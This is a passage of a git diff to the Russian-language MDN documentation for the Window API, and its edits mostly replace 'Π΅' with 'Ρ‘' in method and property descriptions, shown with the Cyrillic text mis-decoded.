-<p>НС сущСствуСт способа ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ сСссии ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ посрСдствам ΠΊΠ½ΠΎΠΏΠΎΠΊ "Π½Π°Π·Π°Π΄"/"Π²ΠΏΠ΅Ρ€Π΅Π΄" ΠΈΠ· Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. НаиболСС Π±Π»ΠΈΠ·ΠΊΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ замСняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ Π² истории сСссии Π½Π° прСдоставлСнный URL.</p>
+<p>НС сущСствуСт способа ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ сСссии ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ посрСдствам ΠΊΠ½ΠΎΠΏΠΎΠΊ "Π½Π°Π·Π°Π΄"/"Π²ΠΏΠ΅Ρ€Ρ‘Π΄" ΠΈΠ· Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. НаиболСС Π±Π»ΠΈΠ·ΠΊΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="/en/DOM/window.location#replace" title="en/DOM/window.location#replace">location.replace()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ замСняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΡƒΠ½ΠΊΡ‚ Π² истории сСссии Π½Π° прСдоставлСнный URL.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html
index 38048b3bfa..ad213b866e 100644
--- a/files/ru/web/api/window/index.html
+++ b/files/ru/web/api/window/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Window
<p><span class="seoSummary">ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> прСдставляСт собой ΠΎΠΊΠ½ΠΎ, содСрТащСС DOM Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚; свойство <code>document</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° <a href="/en-US/docs/DOM/document">DOM document</a>, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² Π΄Π°Π½Π½ΠΎΠΌΒ ΠΎΠΊΠ½Π΅.</span> Окно Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ ΡΠ²ΠΎΠΉΡΡ‚Π²Π° {{Domxref("document.defaultView")}}.</p>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» содСрТит описаниС всСх ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², свойств ΠΈ событий, доступных Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> DOM. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ интСрфСйс <code>Window</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ интСрфСйса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. НСкоторыС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, пространства ΠΈΠΌΠ΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², интСрфСйсы и конструкторы, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π΅ связанныС с ΠΎΠΊΠ½ΠΎΠΌ, Π½ΠΎ доступныС Π² Π½Π΅ΠΌ, пСрСчислСны Π² <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> ΠΈ <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» содСрТит описаниС всСх ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², свойств ΠΈ событий, доступных Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> DOM. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ интСрфСйс <code>Window</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ интСрфСйса <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code>. НСкоторыС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, пространства ΠΈΠΌΡ‘Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², интСрфСйсы и конструкторы, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π΅ связанныС с ΠΎΠΊΠ½ΠΎΠΌ, Π½ΠΎ доступныС Π² Π½Π΅ΠΌ, пСрСчислСны Π² <a href="/en-US/docs/JavaScript/Reference">JavaScript ссылки</a> ΠΈ <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM ссылки</a>.</p>
<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ Firefox, каТдая вкладка содСрТит свой собствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> (ΠΈ Ссли Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅, ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° тоТС являСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ windowΒ - см. <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Π Π°Π±ΠΎΡ‚Π° с ΠΎΠΊΠ½Π°ΠΌΠΈ Π² chrome ΠΊΠΎΠ΄Π΅</a>). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> Π½Π΅ раздСляСтся ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈ Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΎΠΊΠ½Π΅. НСкоторыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹,Β  Π° ΠΈΠΌΠ΅Π½Π½ΠΎ {{Domxref("window.resizeTo")}} ΠΈ {{Domxref("window.resizeBy")}} примСняСтся для всСго ΠΎΠΊΠ½Π° ΠΈ Π½Π΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>window</code> ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ логичСски нСльзя отнСсти ΠΊΠΎ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, это относят ΠΊ ΠΎΠΊΠ½Ρƒ.</p>
@@ -27,7 +27,7 @@ translation_of: Web/API/Window
<dt>{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ссылку Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ консоли,Β ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ доступ ΠΊ консоли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</dd>
<dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ссылку Π½Π° элСмСнт содСрТимого в Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΎΠΊΠ½Π΅. Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π² Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ доступСн для Web-содСрТимого.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ссылку Π½Π° элСмСнт содСрТимого в Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΎΠΊΠ½Π΅. Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π² Π½ΠΈΠΆΠ½ΠΈΠΌ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ доступСн для Web-содСрТимого.</dd>
<dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β XUL ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎΒ ΠΎΠΊΠ½Π° chrome.</dd>
<dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt>
@@ -77,7 +77,7 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ (Y) ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΎΠΊΠ½Π° просмотра Π² экранных ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°Ρ…. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся Π²Β CSS-пиксСлях. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΒ <code>mozScreenPixelsPerCSSPixel</code> для конвСртирования ΠΈ адаптирования к экранным пиксСлям, Ссли Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</dd>
<dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство раз, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Π½ для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ экрана Π² этом ΠΎΠΊΠ½Π΅. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для подсчСта скорости прСобразования.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ количСство раз, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Π½ для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ экрана Π² этом ΠΎΠΊΠ½Π΅. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для подсчёта скорости прСобразования.</dd>
<dt>{{domxref("Window.name")}}</dt>
<dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚/устанавливаСт имя для ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
@@ -154,7 +154,7 @@ translation_of: Web/API/Window
<dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ булСвскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ являСтся Π»ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ контСнт бСзопасным (<code>true</code>) ΠΈΠ»ΠΈ Π½Π΅Ρ‚Β (<code>false</code>).</dd>
<dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ источник глобального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ в строку. (Π­Ρ‚ΠΎ свойство ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ сущСствуСт, поэтому Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….)</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ источник глобального ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ в строку. (Π­Ρ‚ΠΎ свойство ΠΏΠΎΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ сущСствуСт, поэтому Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….)</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
@@ -169,9 +169,9 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.blur()")}}</dt>
<dd>Π£Π±ΠΈΡ€Π°Π΅Ρ‚ фокус с ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.cancelIdleCallback()")}}Β {{experimental_inline}}</dt>
- <dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ расписаниС Π΅Π΅ Π²Ρ‹Π·ΠΎΠ²Π° с {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ расписаниС Π΅Ρ‘ Π²Ρ‹Π·ΠΎΠ²Π° с {{domxref("Window.requestIdleCallback")}}.</dd>
<dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
- <dd>РСгистрируСт ΠΎΠΊΠ½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ всС события ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</dd>
+ <dd>РСгистрируСт ΠΎΠΊΠ½ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ всС события ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</dd>
<dt>{{domxref("Window.clearImmediate()")}}</dt>
<dd>ΠžΡ‚ΠΌΠ΅Π½ΡΠ΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅Π΅ΡΡ исполнСниС, установлСнноС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>setImmediate</code>.</dd>
<dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
@@ -195,15 +195,15 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.focus()")}}</dt>
<dd>УстанавливаСт фокус Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΠΎΠΊΠ½Π΅.</dd>
<dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
- <dd>ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π° ΠΎΠ΄ΠΈΠ½ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β Π²ΠΏΠ΅Ρ€Π΅Π΄ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ истории ΠΎΠΊΠ½Π°.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π° ΠΎΠ΄ΠΈΠ½ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β Π²ΠΏΠ΅Ρ€Ρ‘Π΄ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ истории ΠΎΠΊΠ½Π°.</dd>
<dt>{{domxref("Window.getAttention()")}}</dt>
<dd>ЗаставляСт ΠΌΠΈΠ³Π°Ρ‚ΡŒ ΠΈΠΊΠΎΠ½ΠΊΡƒ прилоТСния.</dd>
<dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
<dd>{{todo("NeedsContents")}}</dd>
<dt>{{domxref("Window.getComputedStyle()")}}</dt>
- <dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ подсчитанныС стили для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта. ΠŸΠΎΠ΄ΡΡ‡ΠΈΡ‚Π°Π½Π½Ρ‹Π΅ стили Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ подсчитанныС значСния всСх CSS свойств элСмСнта.</dd>
+ <dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ подсчитанныС стили для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ элСмСнта. ΠŸΠΎΠ΄ΡΡ‡ΠΈΡ‚Π°Π½Π½Ρ‹Π΅ стили Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ подсчитанныС значСния всСх CSS свойств элСмСнта.</dd>
<dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt>
- <dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Π°Π½Π½Ρ‹Π΅ стили ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ элСмСнта, игнорируя авторскиС стили.</dd>
+ <dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Π°Π½Π½Ρ‹Π΅ стили ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ элСмСнта, игнорируя авторскиС стили.</dd>
<dt>{{domxref("Window.getSelection()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ элСмСнт(Ρ‹).</dd>
<dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
@@ -215,11 +215,11 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
<dd>ΠœΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠΊΠ½ΠΎ.</dd>
<dt>{{domxref("Window.moveBy()")}}</dt>
- <dd>Π‘Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</dd>
+ <dd>Π‘Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</dd>
<dt>{{domxref("Window.moveTo()")}}</dt>
- <dd>Π‘Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ Π΄ΠΎΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…Β ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚.</dd>
+ <dd>Π‘Π΄Π²ΠΈΠ³Π°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ Π΄ΠΎΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…Β ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚.</dd>
<dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
- <dd>Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ анимация находится Π² прогрСссС, трСбуя,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» врСмя пСрСрисовки ΠΎΠΊΠ½Π° для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π­Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС  <code>MozBeforePaint,</code>Β ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ пСрСрисовка .</dd>
+ <dd>Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ анимация находится Π² прогрСссС, трСбуя,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» врСмя пСрСрисовки ΠΎΠΊΠ½Π° для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π­Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ событиС  <code>MozBeforePaint,</code>Β ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ пСрСрисовка .</dd>
<dt>{{domxref("Window.open()")}}</dt>
<dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ.</dd>
<dt>{{domxref("Window.openDialog()")}}</dt>
@@ -229,15 +229,15 @@ translation_of: Web/API/Window
<dt>{{domxref("Window.print()")}}</dt>
<dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Print Dialog для распСчатки Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt>{{domxref("Window.prompt()")}}</dt>
